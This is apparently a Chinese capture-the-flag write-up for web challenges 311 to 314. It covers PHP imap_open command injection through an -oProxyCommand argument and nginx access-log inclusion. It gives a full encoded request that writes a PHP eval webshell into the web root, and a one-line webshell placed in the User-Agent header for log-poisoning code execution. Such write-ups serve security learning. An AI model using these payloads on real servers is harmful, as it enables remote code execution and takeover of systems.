web311
web312
IMAP协议(因特网消息访问协议)它的主要作用是邮件客户端可以通过这种协议从邮件服务器上获取邮件的信息,下载邮件等。它运行在TCP/IP协议之上,使用的端口是143,在php中调用的是imap_open函数来实现功能
imap_open(string $mailbox,string $user,string $password)
其中参数mailbox,是用来连接邮箱服务器的,它会调用rsh来连接远程shell而,debian/ubuntu中默认使用ssh来代替rsh
又因为ssh命令中可以通过设置oProxyCommand来调用第三方命令,所以攻击者通过注入这个参数,最终将导致命令执行漏洞
影响系统:Debian/ubuntu
看wp说的是Debian的系统,我把眼睛看花也没找到
查看源代码发现传参hostname
php imap扩展用于在PHP中执行邮件收发操作。其imap_open函数会调用rsh来连接远程shell,而debian/ubuntu中默认使用ssh来代替rsh的功能(也就是说,在debian系列系统中,执行rsh命令实际执行的是ssh命令)。
因为ssh命令中可以通过设置-oProxyCommand=来调用第三方命令,攻击者通过注入注入这个参数,最终将导致命令执行漏洞。
PHP IMAP协议
x+-oProxyCommand=echo echo '<?php @eval($_POST[1]);?>' > /var/www/html/1.php|base64 -d|sh}
最后的大括号是用来闭合接收变量一开始的括号,类似于SQL的闭合符号
|base64 -d是base64解码
然后|sh是将解码后的内容echo '<?php @eval($_POST[1]);?>' > /var/www/html/1.php当做shell来执行
%3d =
%09 '\t' 也就是tab 我不知道为什么不能使用空格这个东西
base64:
ZWNobyAnPD9waHAgQGV2YWwoJF9QT1NUWzFdKTs/PicgPiAvdmFyL3d3dy9odG1sLzEucGhwhostname=x+-
oProxyCommand%3decho%09ZWNobyAnPD9waHAgZXZhbCgkX1BPU1RbMV0pOycgPiAvdmFyL3d3dy9odG1sLzEucGhw%3d|base64%09-d|sh}&username=123&password=123
web313
web314
这个不用说因为我很擅长
文件日志包含
/var/log/nginx/access.log
我试了一下直接访问没有结果于是看到传参就试着传了一下毕竟太久没做了
这个和cve漏洞没啥关系
User-agent写个小马就行了
<?php @eval($_POST[1]);?>
然后就rce